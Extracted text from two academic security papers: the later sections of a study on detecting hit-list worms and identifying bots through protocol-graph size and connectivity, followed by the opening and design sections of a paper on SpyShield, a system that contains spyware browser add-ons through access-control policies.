(3)

Note that the use of frr
2 in (3) ensures that each of conditions (1) and (2) con-

tribute at most half of the target frr and consequently that both conditions
combined will yield at most the target frr.

2 For all protocols, the observed Shapiro-Wilk statistic is in excess of 0.94.
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Finally, recall that each Λπ represents one dur-length time period π, and frr is
expressed as a fraction of the log files, or equivalently, dur-length time intervals,
in which a false alarm occurs. We can obviously extrapolate this frr to see its
implications for false alarms over longer periods of time. For the remainder of
this paper, we will take as our goal a false alarm frequency of one per day (with
dur = 60s), yielding a threshold of t = 3.5. This threshold is chosen simply as
a representative value for analysis, and can be adjusted to achieve other false
alarm frequencies.

This estimate depends on accurate calculations for μ(Vdur
Π ), μ(Cdur

Π ), σ(Vdur
Π ),

and σ(Cdur
Π ) for the time interval Π in which the monitoring occurs. In the

remainder of this paper, we will compute these values based on data collected
on March 12–16, 2007.

5 Protocol Graph Change During Attack

We showed in Section 4 that, for the protocols examined, Cdur
am , Vdur

am , Cdur
pm and Vdur

pm
are normally distributed (Section 4.1), leading to a method for computing the
false alarm rate for any given detection threshold (Section 4.2). In this section,
we test the effectiveness of this detection mechanism against simulated hit-list
attacks. Section 5.1 describes the model of attack used. Section 5.2 describes the
experiment and our evaluation criteria. The detection results of our simulations
are discussed in Section 5.3.

5.1 Attack and Defense Model

We simulate hit-list attacks, as described by Staniford et al. [20]. A hit list is a
list of target servers identified before the actual attack. An apparent example of a

Fig. 3. Illustration of attacks, where “C”, “S” and “A” denote a client, server and
attacker-controlled bot, respectively. Attack on left affects total graph size (|V (Λπ)|),
and so depicts graph inflation. Attack on right affects largest component size (|C(Λπ)|),
and so depicts component inflation.
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hit-list worm is the Witty worm: reports by Shannon and Moore [18] hypoth-
esized that Witty initially spread via a hit list. Further analyses by Kumar et
al. [11] identified Witty’s “patient zero” and demonstrated that this host be-
haved in a distinctly different fashion from subsequently-infected Witty hosts,
lending support to the theory that patient zero used a hit list to infect targets.

We hypothesize that an attacker who has a hit list for a targeted network will
be detectable by examining |C(Λπ)| and |V (Λπ)| where Λπ is a log file recorded
during a time interval π in which a hit-list worm propagated. We assume that
the attacker has the hit list but no knowledge of the targeted servers’ current
activity or audience. If this is the case, the attacker contacting his hit list will
alter the observed protocol graph through graph inflation or component inflation.

Figure 3 shows how these attacks impact protocol graphs. Graph inflation
occurs when an attacker communicates with servers that are not active during
the observation period π. When this occurs, the attacker artificially inflates the
number of vertices in the graph, resulting in a value of |V (Λπ)| that is detectably
large. The vertices of a protocol graph include both clients and servers, while
the attacker’s hit list will be composed exclusively of servers. As a result, we
expect that graph inflation will require communicating with many of the hit-list
elements (roughly t σ(Vdur

Π ) for dur-length π ⊆ Π) to trigger condition (1).
Component inflation occurs when the attacker communicates with servers al-

ready present in Λπ during the observation period π. When this occurs, the
attacker might merge components in the graph, and |C(Λπ)| will then be de-
tectably large. In comparison to graph inflation, component inflation can happen
very rapidly; e.g., it may trigger condition (2) if an attacker communicates with
only two servers. However, if the graph already has a small number of compo-
nents (as is the case with SMTP), or the attacker uses multiple bots to attack,
then the attack may not be noticed.

5.2 Experiment Construction

The training period for our experiments was March 12–16, 2007. We considered
two different values for dur, namely 30s and 60s. Table 1 contains the means
and standard deviations for Vdur

am , Cdur
am , Vdur

pm and Cdur
pm for the training period and

for each choice of dur, which are needed to evaluate conditions (1) and (2). As
shown in Table 1, the largest components for HTTP and SMTP were close to
the total sizes of the protocol graphs on average.

An important point illustrated in Table 1 is that the graph sizes can differ by
orders of magnitude depending on the protocol. This demonstrates the primary
argument for generating per-protocol graphs: the standard deviations in graph
size and largest component size for HTTP and SMTP are larger than the mean
sizes for Oracle and FTP.

For testing, we model our attack as follows. During a period π, we collect
a log ctrlπ of normal traffic. In parallel, the attacker uses a hit-list set HitList
to generate its own traffic log attk. This log is merged with ctrlπ to create a
new log Λπ = ctrlπ ∪ attk. We then examine conditions (1) and (2) for interval
Π ∈ {am, pm} such that π ⊆ Π ; if either condition is true, then we raise an



286 M.P. Collins and M.K. Reiter

Table 1. Means and standard deviations (to three significant digits on standard devi-
ation) for Vdur

am , Cdur
am , Vdur

pm and Cdur
pm for dur ∈ {30s, 60s} on March 12–16, 2007

HTTP SMTP Oracle FTP

r.v. μ σ μ σ μ σ μ σ

V30s
am 10263 878 2653 357 65.3 18.7 291.9 57.0

C30s
am 9502 851 2100 367 17.52 4.00 65.30 8.10

V30s
pm 16460 2540 3859 336 128.7 32.4 359.8 67.1

C30s
pm 15420 2420 3454 570 30.60 6.28 80.02 8.23

V60s
am 14760 1210 4520 634 111.8 28.1 467.4 76.9

C60s
am 13940 1180 4069 650 12.92 4.24 37.3 11.3

V60s
pm 23280 3480 6540 935 240.3 31.7 555.5 94.8

C60s
pm 22140 3320 6200 937 28.84 8.44 45.9 12.2

Table 2. Count of servers observed between 12:00GMT and 13:00GMT on each of
March 12–16, 2007

Protocol Servers

SMTP 2818

HTTP 8145

Oracle 262

FTP 1409

alarm. In our tests, we select periods π of length dur from March 19, 2007, i.e.,
the next business day after the training period.

To generate the HitList sets, we intersect the sets of servers which are observed
as active on each of March 12–16, 2007 between 12:00GMT and 13:00GMT. The
numbers of servers so observed are shown in Table 2. The attacker attacks the
network over a protocol by selecting hitListPerc percentage of these servers (for
the corresponding protocol) at random to form HitList. The attacker (or rather,
his bots) then contacts each element of HitList to generate the log file attk.

More precisely, we allow the attacker to use multiple bots in the attack; let bots
denote the bots used by the attacker. bots do not appear in the log ctrlπ, so as to
decrease chances of triggering condition (2). Each bot boti ∈ bots is assigned a hit
list HitListi consisting of a random |HitList|

|bots| fraction of HitList. Each bot’s hit list is
drawn randomly from HitList, but hit lists do not intersect. That is,

⋃
i HitListi =

HitList and for i = j, HitListi ∩ HitListj = ∅. By employing hit lists that do
not intersect, we again decrease the chances of triggering condition (2). attk is
generated by creating synthetic attack records from each boti to all members of
HitListi. In our simulations, members of HitListi do not participate in the attack
after being contacted by boti; i.e., each λ ∈ attk is initiated by a member of
bots. That said, this restriction is largely irrelevant to our results, since neither
|V (Λπ)| nor |C(Λπ)| is sensitive to whether a member of HitListi is contacted by
another member of HitListi (after it is “infected”) or by boti itself.
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5.3 True Alarms

Table 3 shows the effectiveness of the detection mechanism as a function of
dur for different hitListPerc values. hitListPerc varies between 25% and 100%.
The value in each cell is the percentage of attacks that were detected by the
system.

Table 3 sheds light on the effectiveness of our approach. The most aggressive
worms we considered, namely those that contacted hitListPerc ≥ 75% of known
servers (see Table 2) within dur = 30s, were easily detected: our tests detected
these worms more than 90% of the time for all protocols and all numbers of
|bots|, and at least 95% of the time except in one case.

The table also sheds light on approaches an adversary might take to make his
worm more stealthy. First, the adversary might decrease hitListPerc. While this
does impact detection, our detection capability is still useful: e.g., as hitListPerc
is decreased to 50% in dur = 30s, the true detection rates drop, but remain 80%
or higher for all protocols except SMTP. Second, the adversary might increase
dur. If the adversary keeps hitListPerc ≥ 75%, then increasing dur from 30s to
60s appears to have no detrimental effect on the true alarm rate of the detector
for HTTP, Oracle or FTP, and it remains at 60% or higher for SMTP, as well.

Third, the adversary might increase |bots|. Note that whereas the previous
two attempts to evade detection necessarily slow the worm propagation, increas-
ing |bots| while keeping hitListPerc and dur fixed need not—though it obviously
requires the adversary to have compromised more hosts prior to launching his
hit-list worm. Intuitively, increasing |bots| might decrease the likelihood of de-
tection by our technique by reducing the probability that one boti will merge
components of the graph and thereby trigger condition (2). (Recall that bots’ in-
dividual hit lists do not intersect.) However, Table 3 suggests that in many cases
this is ineffective unless the adversary simultaneously decreases hitListPerc: with
hitListPerc ≥ 75%, all true detection rates with |bots| = 5 remain above 92% with
the exception of SMTP (at 60% for dur = 60s). The effects of increasing |bots|
may become more pronounced with larger numbers, though if |bots| approaches
t σ(Vdur

Π ) then the attacker risks being detected by condition (1) immediately.

Table 3. True alarm percentages for combined detector (conditions (1) and (2))

HTTP SMTP Oracle FTP

hitListPerc = hitListPerc = hitListPerc = hitListPerc =
dur |bots| 25 50 75 100 25 50 75 100 25 50 75 100 25 50 75 100

30s
1 73 80 95 100 28 74 100 100 100 100 100 100 100 100 100 100
3 72 80 95 100 25 50 97 100 33 95 100 100 100 100 100 100
5 60 80 92 100 23 45 98 100 16 87 99 100 100 100 100 100

60s
1 68 80 100 100 20 50 70 80 100 100 100 100 100 100 100 100
3 65 68 100 100 10 35 65 70 28 100 100 100 100 100 100 100
5 65 63 100 100 5 30 60 55 12 100 100 100 100 100 100 100
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Fig. 4. Contributions of conditions (1) and (2) to true alarms in Table 3. For clarity,

only true alarms where
|V (Λπ)|−μ(Vdur

Π )
σ(Vdur

Π
)

≤ 20 or
|C(Λπ)|−μ(Cdur

Π )
σ(Cdur

Π
)

≤ 20 are plotted.

Figure 4 compares the effectiveness of conditions (1) and (2) for each of the
test protocols. Each plot in this figure is a scatter plot comparing the deviation
of |C(Λπ)| against the deviation of |V (Λπ)| during attacks. Specifically, values
on the horizontal axis are (|V (Λπ)|−μ(Vdur

Π ))/σ(Vdur
Π ), and values on the vertical

axis are (|C(Λπ)| − μ(Cdur
Π ))/σ(Cdur

Π ), for Π ⊇ π. The points on the scatter plot
represent the true alarms summarized in Table 3, though for presentational
convenience only those true alarms where (|V (Λπ)| − μ(Vdur

Π ))/σ(Vdur
Π ) ≤ 20

or (|C(Λπ)| − μ(Cdur
Π ))/σ(Cdur

Π ) ≤ 20 are shown. Each plot has reference lines at
t = 3.5 on the horizontal and vertical axes to indicate the trigger point for each
detection mechanism. That is, a “•” above the horizontal t = 3.5 line indicates a
test in which condition (2) was met, and a “•” to the right of the vertical t = 3.5
line indicates a test in which condition (1) was met.

We would expect that if both conditions were effectively equivalent, then every
“•” would be in the upper right “quadrant” of each graph. HTTP (Figure 4(a))
shows this behavior, owing to the fact that in HTTP, the largest component
size and graph size are nearly the same in average and in standard deviation;
see Table 1. As such, each bot contacts only the largest component with high
probability, and so adds to the largest component all nodes that it also adds
to the graph. A similar phenomenon occurs with SMTP (Figure 4(b)), though
with different scales in am and pm, yielding the two distinct patterns shown
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there. However, the other graphs demonstrate different behaviors. Figure 4(c)
and (d) shows that the growth of |C(Λπ)| is an effective mechanism for detecting
disruptions in both Oracle and FTP networks. The only protocol where graph
inflation appears to be a more potent indicator than component inflation is
SMTP. From this, we conclude that component inflation (condition (2)) is a
more potent detector than graph inflation (condition (1)) when the protocol’s
graph structure is disjoint, but that each test has a role to play in detecting
attacks.

6 Bot Identification

Once an attack is detected, individual attackers (bots) are identifiable by how
they deform the protocol graph. As discussed in Section 5.1, we expect a bot to
impact the graph’s structure by connecting otherwise disjoint components. We
therefore expect that removing a bot from a graph G(Λ) will separate compo-
nents and so the number of connected components will increase.

To test this hypothesis, we consider the effect of removing all records λ in-
volving an individual IP address from Λ. Specifically, for a log file Λ and an IP
address v, define:

Λ¬v = {λ ∈ Λ : λ.sip = v ∧ λ.dip = v}

As such, G(Λ) differs from G(Λ¬v) in that the latter includes neither v nor any
v′ ∈ V (Λ) of degree one that is adjacent only to v in G(Λ).

In order to detect a bot, we are primarily interested in comparing G(Λ) and
G(Λ¬v) for vertices v of high degree in G(Λ), based on the intuition that bots
should have high degree. Figure 5 examines the impact of eliminating each of
the ten highest-degree vertices v in G(Λ) from each log file Λ for FTP discussed
in Section 5 that resulted in a true alarm. Specifically:

– Figure 5(a) represents |V (Λ¬v)| − |V (Λ)|, i.e., the difference in the number
of vertices due to eliminating v and all isolated neighbors, which will be
negative;

– Figure 5(b) represents |C(Λ¬v)|−|C(Λ)|, i.e., the difference in the size of the
largest connected component due to eliminating v and all isolated neighbors,
which can be negative or zero; and

– Figure 5(c) represents |K(Λ¬v)| − |K(Λ)|, i.e., the difference in the number
of connected components due to eliminating v and all isolated neighbors,
which can be positive, zero, or −1 if eliminating v and its isolated neighbors
eliminates an entire connected component.

Each boxplot separates the cases in which v is a bot (right) or is not a bot
(left). In each case, five horizontal lines from bottom to top mark the mini-
mum, first quartile, median, third quartile and maximum values, with the lines
for the first and third quartiles making a “box” that includes the median line.
The five horizontal lines and the box are evident, e.g., in the “bot” boxplot in
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Fig. 5. Effects of eliminating high degree vertices v from FTP attack traffic logs Λ

Figure 5(c). However, because some horizontal lines are on top of one another
in other boxplots, the five lines or the box is not evident in all cases.

This figure shows a strong dichotomy between the two graph parameters used
for detection (graph size and largest component size) and the number of com-
ponents. As shown in Figures 5(a) and 5(b), the impact of eliminating bots and
the impact of eliminating other vertices largely overlap, for either graph size or
largest component size. In comparison, eliminating bots has a radically different
effect on the number of components, as shown in Figure 5(c): when a non-bot
vertex is eliminated, the number of components increases a small amount, or
sometimes decreases. In contrast, when a bot is eliminated, the number of com-
ponents increases strongly.

Also of note is that the change in the total number of components (Figure 5(c))
is relatively small, and small enough to add little power for attack detection. For
example, if we were to define a random variable Kdur

pm analogous to Vdur
pm and

Cdur
pm , and then formulate a worm detection rule analogous to (1) and (2) for

component count—i.e., raise an alarm for log file Λπ where π ∈ pm had duration
dur, if |K(Λπ)| > μ(Kdur

pm ) + t σ(Kdur
pm )—then roughly 80% of our hit-list attacks

within FTP would go undetected by this check. This is because of the large
standard deviation of this measure: σ(K60s

pm ) ≈ 12.5.
Despite the fact that the number of components does not offer additional

power for attack detection, Figure 5(c) suggests that removing a high-degree
vertex v from a graph G(Λ) on which an alarm has been raised, and checking
the number of connected components that result, can provide an effective test
to determine whether v is a bot. More specifically, we define the following bot
identification test:

isbotΛ,θ(v) =

{
1 if |K(Λ¬v)| − |K(Λ)| > θ

0 otherwise
(4)

We characterize the quality of this test using ROC curves. Each curve in
Figure 6 is a plot of true positive (i.e., bot identification) rate versus false positive
rate for one of the protocols we consider and for the simulated hit-list worm
attacks discussed in Section 5 that yielded a true alarm with |bots| = 5 (the
hardest case in which to find the bots) and hitListPerc ∈ {25%, 50%, 75%}. Each
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Fig. 6. Attacker identification accuracy of (4); hitListPerc ∈ {25%, 50%, 75%},
|hidegree| = 10, |bots| = 5

point on a curve shows the true and false positive rates for a particular setting
of θ. More specifically, if hidegree ⊆ V (Λ) is a set of highest-degree vertices in
G(Λ), and if hidegreebots ⊆ hidegree denotes the bots in hidegree, then any point
in Figure 6 is defined by

true positive rate =

∑
v∈hidegreebots isbotΛ,θ(v)

|hidegreebots|

false positive rate =

∑
v∈hidegree\hidegreebots isbotΛ,θ(v)

|hidegree \ hidegreebots|

As Figure 6 shows, a more aggressive worm (i.e., as hitListPerc grows) exposes
its bots with a greater degree of accuracy in this test, not surprisingly, and
the absolute detection accuracy for the most aggressive worms we consider is
very good for HTTP, SMTP and FTP. Moreover, while the curves in Figure 6
were calculated with |hidegree| = 10, we have found that the accuracy is very
robust to increasing |hidegree| as high as 100. As such, when identifying bots,
it does not appear important to the accuracy of the test that the investigator
first accurately estimate the number of bots involved in the attack. We are more
thoroughly exploring the sensitivity of (4) to |hidegree| in ongoing work, however.
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Fig. 7. Accuracy of (4) versus (5); hitListPerc = 25%, |hidegree| = 10, |bots| = 5

Because we evaluate (4) on high-degree vertices in order to find bots, a natural
question is whether degree in G(Λ) alone could be used to identify bots with
similar accuracy, an idea similar to those used by numerous detectors that count
the number of destinations to which a host connects (e.g., [24,17]). To shed light
on this question, we consider an alternative bot identification predicate, namely

isbot′Λ,θ(v) =

{
1 if degreeΛ(v) > θ

0 otherwise
(5)

where degreeΛ(v) is the degree of v in G(Λ), and compare this test to (4) in
Figure 7. As this figure shows, using (5) offers much less accurate results in
some circumstances, lending support to the notion that our proposal (4) for bot
identification is more effective than this alternative.

7 Implementation

Any worm detection system must be efficient to keep up with the high pace of
flows observed in some protocols. A strength of our detection approach based on
conditions (1) and (2) in Section 4 is that it admits very efficient implementation
by well-known union-find algorithms [7]. Such an algorithm maintains a collec-
tion of disjoint sets, and supports three types of operations on that collection: a
makeset operation creates a new singleton set containing its argument; a find
operation locates the set containing its argument; and a union operation merges
the two sets named in its arguments into one set. The size of each set in the
collection can be maintained easily because each set in the collection is disjoint:
a new set created by makeset has size one, and the set resulting from a union
is of size the sum of the sizes of the merged sets.

The implementation of a worm detection system using a union-find algorithm
is straightforward: for each λ ∈ Λ, the sets containing λ.sip and λ.dip are lo-
cated by find operations (or created via makeset if the address has not yet
been observed in Λ), and if these sets are distinct, they are merged by a union
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operation. |C(Λ)| is simply the size of the largest set, and |V (Λ)| is the sum of
the sizes of the sets.

The efficiency of this implementation derives from the use of classic techniques
(see [7]). A famous result by Tarjan (see [23]) shows that with these techniques,
a log file Λ can be processed in time O(|Λ|α(|V (Λ)|)), where α(·) is the inverse
of Ackermann’s function A(·), i.e., α(n) = arg mink : A(k) ≥ n. Due to the
rapid growth of A(k) as a function of k (see [1,23]), α(n) ≤ 5 for any practical
value of |V (Λ)|. So, practically speaking, this algorithm enables the processing of
flows with computation only a small constant per flow. Perhaps as importantly,
this can be achieved in space O(|V (Λ)|). In contrast, accurately tracking the
number of unique destinations to which each vertex connects—a component of
several other worm detection systems (e.g., [24,17])—requires Ω(|E(Λ)|) space, a
potentially much greater cost for large networks. Hence our approach is strikingly
efficient while also being an effective detection technique.

Once an alarm is raised for a graph G(Λ) = 〈V (Λ), E(Λ)〉 due to it vio-
lating condition (1) or (2), identifying the bots via the technique of Section 6
requires that we find the high-degree vertices in V (Λ), i.e., the vertices that
have the most unique neighbors. To our knowledge, the most efficient method
to do this amounts to simply building the graph explicitly and counting each
vertex’s neighbors, which does involve additional overhead, namely O(|E(Λ)|)
space and O(|Λ| log(|E(Λ)|)) time in the best algorithm of which we are aware.
However, this additional cost must be incurred only after a detection and so can
proceed in parallel with other reactive measures, presumably in a somewhat less
time-critical fashion or on a more resource-rich platform than detection itself.

8 Conclusion

In this paper, we introduced a novel form of network monitoring technique based
on protocol graphs. We demonstrated using logs collected from a very large
intercontinental network that the graph and largest component sizes of protocol
graphs for representative protocols are stable over time (Section 4.1). We used
this observation to postulate tests to detect hit-list worms, and showed how
these tests can be tuned to limit false alarms to any desired level (Section 4.2).
We also showed that our tests are an effective approach to detecting a range of
hit-list attacks (Section 5).

We also examined the problem of identifying the attacker’s bots once a de-
tection occurs (Section 6). We demonstrated that the change in the number of
connected components caused by removing a vertex from the graph can be an
accurate indicator of whether this vertex represents a bot, and specifically can
be more accurate than examining merely vertex degrees.

Finally, we examined algorithms for implementing both hit-list worm detec-
tion and bot identification using our techniques (Section 7). We found that
hit-list worm detection, in particular, can be implemented using more efficient
algorithms than many other worm detection approaches, using classic union-find
algorithms. For networks of the size we have considered here, such efficiencies
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are not merely of theoretical interest, but can make the difference between what
is practical and what is not. Our bot identification algorithms are of similar
performance complexity to prior techniques, but need not be executed on the
critical path of detection.

Since a protocol graph captures only the traffic of a single protocol, our detec-
tor could be circumvented by a worm that propagates within a variety of different
protocols. A natural extension of our techniques for detecting such a worm would
be to consider graphs that involve multiple protocols at once, though we have
not evaluated this possibility and leave this for future work.
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Abstract. Spyware infections are becoming extremely pervasive, posing a grave
threat to Internet users’ privacy. Control of such an epidemic is increasingly diffi-
cult for the existing defense mechanisms, which in many cases rely on detection
alone. In this paper, we propose SpyShield, a new containment technique, to add
another layer of defense against spyware. Our technique can automatically block
the visions of untrusted programs in the presence of sensitive information, which
preserves users’ privacy even after spyware has managed to evade detection. It
also enables users to avoid the risks of using free software which could be bun-
dled with surveillance code. As a first step, our design of SpyShield offers general
protection against spy add-ons, an important type of spyware. This is achieved
through enforcing a set of security policies to the channels an add-on can use to
monitor its host application, such as COM interfaces and shared memory, so as
to block unauthorized leakage of sensitive information. We prototyped SpyShield
under Windows XP to protect Internet Explorer and also evaluated it using real
plug-ins. Our experimental study shows that the technique can effectively disrupt
spyware surveillance in accordance with security policies and introduce only a
small overhead.

1 Introduction

Spyware is rapidly becoming one of the most dangerous threats to the nation’s criti-
cal information infrastructure. Webroot estimated that about 89 percent of consumer
computers are riddled with spyware in this country with an average of 30 pieces per
machine [4]. A recent study [19] further shows that a large portion of spyware infec-
tions are in the form of add-ons to common software such as Internet Explorer (IE).
These add-ons seriously threaten the safety of personal identity information, as they
can be used to stealthily collect from users sensitive data such as passwords, credit card
numbers and social security numbers.

Add-ons are optional software modules which complement or enhance a software
application they are attached to (called a host application or simply a host). Examples of
these modules include Microsoft’s plug-ins [1] and Mozilla’s extensions [3]. Software
manufacturers usually offer standard interfaces for third parties to develop their own
add-ons, which we call add-on interfaces. Through such interfaces, a spy add-on may
acquire sensitive information from the host application or even control it.

The threat posed by spy add-ons is recognized as an important security concern and
has recently received great research attentions [19,15]. Existing defense against such
spyware heavily relies on detection techniques. Specifically, spyware scanners are used
to search binary executables for the presence of binary-pattern signatures which appear
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in a spyware database. Signature-based detection can be evaded by metamorphic and
polymorphic spyware which transforms its code for every new infection. An alternative
is behavior-based detection [19] which employs dynamic analysis or static analysis to
capture spyware’s surveillance activities. Although this technique is more resilient to
metamorphism, it could still be got around by the spyware which exhibits unconven-
tional behaviors, for example, direct reading of sensitive data from process memory.

Since no detection techniques are absolutely reliable, we have to consider an in-depth
defense strategy: in case a piece of spyware penetrates other layers of defense, protec-
tion must still be there to save important information from being stolen. In addition,
since surveillance code could be bundled with useful and often free software, it becomes
highly desired to enable users to use such software while avoiding the potential risk it
brings about. Serving these purposes is the technique of spyware containment, which
strives to preserve clients’ privacy in the presence of malicious surveillance. Existing
research on this subject is limited to the techniques which provide a trusted input path
for passwords [21,17]. These techniques are inadequate to contain spy add-ons which
can also snoop on other important data, for example, the account balance displayed in
a browser.

In this paper, we present the first spyware-containment technique which offers gen-
eral protection against the surveillance from spy add-ons. Our approach, called
SpyShield, can automatically block the view of an untrusted add-on whenever sensi-
tive data are being accessed by its host application. This is achieved through a proxy
which enforces security policies to add-on interfaces. For example, our approach en-
sures that whenever an IE browser is visiting citi.com, no data can flow through a
COM interface into an untrusted plug-in. While it is impossible to get the privacy via
COM interfaces, spy add-ons could bypass the proxy through direct memory access.
SpyShield addresses the concerns by separating untrusted add-ons from their host’s
process.

We prototyped SpyShield on Windows XP and evaluated it using known spyware.
Our implementation effectively blocked their surveillance attempts in accordance with a
set of security policies. We also demonstrate that our technique introduces small perfor-
mance overheads. We believe that SpyShield advances the state-of-the-art of spyware
defense in following perspectives:

– General protection against spy add-ons. SpyShield offers the first general avenue
to protect sensitive information from untrusted add-ons. Our design works for dif-
ferent add-on interfaces, such as COM and XPCOM [7], and therefore can be used
in the applications adopting these interfaces, such as Internet Explorer, Microsoft
Outlook, Mozilla Firefox.

– Fine-grained access control. We propose a new policy model, called sensitive
zone. An application enters a sensitive zone whenever it starts processing sensi-
tive data. Inside that zone, our approach allows defining and enforcing fine-grained
access policies. For example, we may grant untrusted plug-ins free access to unim-
portant data on a web page such as advertisements, but forbid them to read and
write sensitive data such as passwords.

– Resilience to attacks. SpyShield can protect itself from being attacked. It utilizes a
lightweight kernel driver to prevent unauthorized modification of the proxy’s code

citi.com
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and data, and any attempts to load untrusted code into the kernel of an operating
system (OS).

– Small overheads. Our research further shows that the overhead of SpyShield,
which is mainly caused by cross-process communications, may not be significant
enough to be perceived by the user, as it could be overshadowed by the delay for
accomplishing an add-on’s normal mission.

– Ease of use. SpyShield does not require modifying host applications and OS set-
tings. Users do not need to change their behaviors when using it, though they can
choose to modify default security polices through a secure and user-friendly inter-
face. SpyShield can also be easily turned off and on.

The rest of the paper is organized as follows. Section 2 presents the design of SpyShield.
Section 3 describes our implementation of a prototype system. Section 4 reports the
evaluations of our technique. Section 5 discusses its limitations. Section 6 reviews the
related approaches and compares them with SpyShield. Section 7 concludes the paper
and envisions the future research.

2 Design

SpyShield inserts an access-control proxy between untrusted add-ons and their host ap-
plication to control their communications according to a set of security policies. Based
on the method how to interpose communications, SpyShield can be implemented in
two ways: either one-process or two-process solution. While in one-process solution
add-ons and the host application coexist inside a same process, SpyShield can separate
them into two different processes so that we can put a process barrier to inhibit untrusted
add-ons from accessing the memory space of the host application to obtain any sensi-
tive information. Figure 1 illustrates an example using Internet Explorer (IE) as the host
application. The proxy in the Figure consists of two components, a reference controller
in the form of an IE plug-in, and an add-on manager serving as an independent process
which handles a set of untrusted plug-ins. To these plug-ins, the add-on manager plays
the role of an IE browser, which automatically loads them into memory and offers stan-
dard COM interfaces to enable them to subscribe to events and ask for information of
their interest. Actual invocation of COM interface [31], however, is delegated to the
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reference controller by transporting add-ons’ requests through a cross-process commu-
nication channel. Upon receiving each request from plug-ins, the reference controller
will make a decision regarding whether to forward the request to the browser. The de-
cisions will be based on a set of security policies pre-defined by a user. IE’s event or
responses should go through the security policy enforced by the reference controller.
With this approach, we can prevent a spy plug-in from stealing information through ei-
ther the COM interfaces or direct access to the browser’s memory. An end user, on the
other hand, will have more controls of her information by adjusting security policies.

To defeat any attempts from thwarting the access-control proxy, the proxy can be
overseen by a kernel driver, called proxy guardian, which prevents unauthorized at-
tempts to temper with the proxy’s data and code. Although we use IE as an example
here, the architecture is general enough to work on other add-on interfaces such as XP-
COM [7] and other applications such as Mozilla Firefox.

2.1 Access-Control Proxy

The objective of the access-control proxy is to permit or deny add-ons’ access to their
host application’s data based on security policies. This is achieved through collabora-
tions between the reference controller in the form of an application’s add-on, and the
add-on manager which hosts untrusted add-ons. After an untrusted add-on is loaded,
its request to subscribe to an event is intercepted and recorded by the add-on manager
which informs the reference controller to register that event using an event-handling
function (called a callback function). The occurrence of the event first triggers that
function which then decides whether to invoke the add-on and pass to it the parameters
received from the application.

Though most spyware add-ons are event-driven, there are exceptions: for example,
UCMore [9] toolbar can poll the COM interfaces of an IE browser for the URLs and
the web pages visited recently. To contain such spyware, an access-control proxy needs
to interpose on all add-on interfaces. In the above example, the add-on manager can
implement IWebBrowser2, a COM interface which offers add-ons methods such as
get LocationURL and get Document for accessing URLs and web pages. This
allows the reference controller to block all undesired invocations of these methods.

An add-on may attempt to directly interact with its host application, without going
through an add-on interface. For example, a Windows toolbar may requests from a
COM interface a handle of a browser’s window for directly retrieving its content. In
this case, the add-on manager needs to create that window’s substitute for the toolbar
and selectively copy data to it according to security policies.

An important design issue is the choice between the solution which keeps a host
application, the proxy and add-ons inside the same process, and the alternative which
separates the add-on manager and untrusted add-ons from the host and the reference
controller. The one-process solution gives good performance, which avoids expensive
cross-process communications. However, it leaves the door open for the attacks using
direct memory access. The two-process solution separates the untrusted add-ons from
their host application’s process, and therefore eliminates the threat originated from di-
rect memory access. This approach also protects a host application from the add-ons
containing security flaws which may crash the application or be exploited by attackers.
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Its weakness is performance, which suffers from cross-process communications (CPC).
SpyShield allows trusted add-ons to communicate with a host application directly, which
serves to limit performance degradation to untrusted add-ons. Selection of right CPC
techniques can also reduce such overheads. For example, communication through shared
memory is much faster than through pipes.

An important question is how to identify untrusted add-ons. SpyShield offers an au-
tomatic mechanism which classifies add-ons according to their hash values. The mech-
anism includes a database of hash values for trusted add-ons which are computed using
a secure hash function such as SHA-256. An add-on is deemed untrusted if its hash
cannot be found from the database. The content of the database can be maintained
automatically using some heuristic rules: for example, the add-ons directly installed
from a CD or signed by a trusted vendor such as Adobe Acrobat are considered to
be trusted, while those downloaded from untrusted websites are untrusted. In order to
prevent spyware from adding itself into the database, the database is also protected by
a kernel driver called proxy guardian (Section 2.3). An authorized user is allowed to
add in other trusted add-ons after being authenticated by her password and passing a
CAPTCHA test [27] which tells humans and programs apart.

2.2 Security Policies

We developed a simple access control model for SpyShield, called sensitive zone. An
application is said to enter a sensitive zone if it starts to process sensitive data. Within
that zone, security policies are used to specify the resources to which an untrusted add-
on’s access is allowed or denied. If denied, the privacy information within the resources
is preserved in the sensitive zone.

Sensitive data can be automatically identified with the metadata generated from
users’ inputs. For example, the URLs or IP addresses of sensitive websites such as
banks are used to indicate the presence of confidential data like passwords and ac-
count balances. Other examples include names and directory paths of sensitive doc-
uments, email addresses and subjects of sensitive messages and keywords such as
“password” within a data record. SpyShield can offer default settings of such meta-
data, which includes, for example, all banks’ URLs. Authorized users are allowed to
modify them.

Data imported by a host application are first checked by the reference controller
against the metadata to determine whether a sensitive zone has been entered. An affir-
mative answer triggers the enforcement of a set of policies to restrict untrusted add-ons’
access to such data. A security policy can be defined over add-on interfaces, their meth-
ods and input parameters to these methods. Table 1 gives example rules, which have
controlled malicious IE plug-ins successfully in our expriements.

The security policies of a sensitive zone are applied to all the members in that zone.
For example, if we include all banks’ URLs in the same zone, the access control proxy
will enforce the same set of rules whenever a browser visits any one of them. Flexi-
bility and fine-grained controls can be achieved through multiple zones, which users
are allowed to define. SpyShield offers a friendly and application-specific interface for
authorized users to define sensitive zones and describe security policies. We present an
example in Figure 2.
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Fig. 2. The SpyShield toolbar

Table 1. Examples of Security Policies

Name Policy Comments
Browser
rule

IDispatch→Invoke(Event)
�−→decline

Block an IE browser’s attempt to trigger untrusted plug-ins through
calling the invoke functions of their IDispatch interfaces.

Plug-in
rule

IWebBrowser2→get LocationURL|
IWebBrowser2→get Document|
IWebBrowser2→navigate|
IWebBrowser2→navigate2
�−→decline

Block untrusted plug-ins’ attempts to access current URLs
and documents through calling the member functions
get LocationURL, get Document, navigate and
navigate2 of IWebBrowser2 interface.

2.3 Proxy Guardian

Without proper protection, the access-control proxy is subject to a variety of attacks. For
example, a spy add-on may tamper with the proxy’s code and data, in particular sensitive
zones and the hash database for trusted add-ons. Under some operating systems (OS)
such as Windows, an add-on may also be able to read and write the virtual memory of
its host application’s process through API calls even when it is running inside another
process [20]. To defeat these attacks, we developed proxy guardian, a kernel monitor to
provide kernel-level protection to SpyShield components.

Proxy guardian interposes on the system calls related to file systems (e.g., NtWrite
File), auto-start extensibility points (ASEP) [29] such as registry keys (e.g., NtSet
ValueKey) and processes (e.g., NtWriteVirtualMemory), which enables it to
block the attempts to access the proxy. Specifically, it ensures that only a dedicated
uninstaller can remove the proxy’s executables and data, and the ASEP for loading
it to the memory. The uninstaller itself is also under the protection and can only be
activated through both password authentication and a CAPTCHA test. Only the proxy
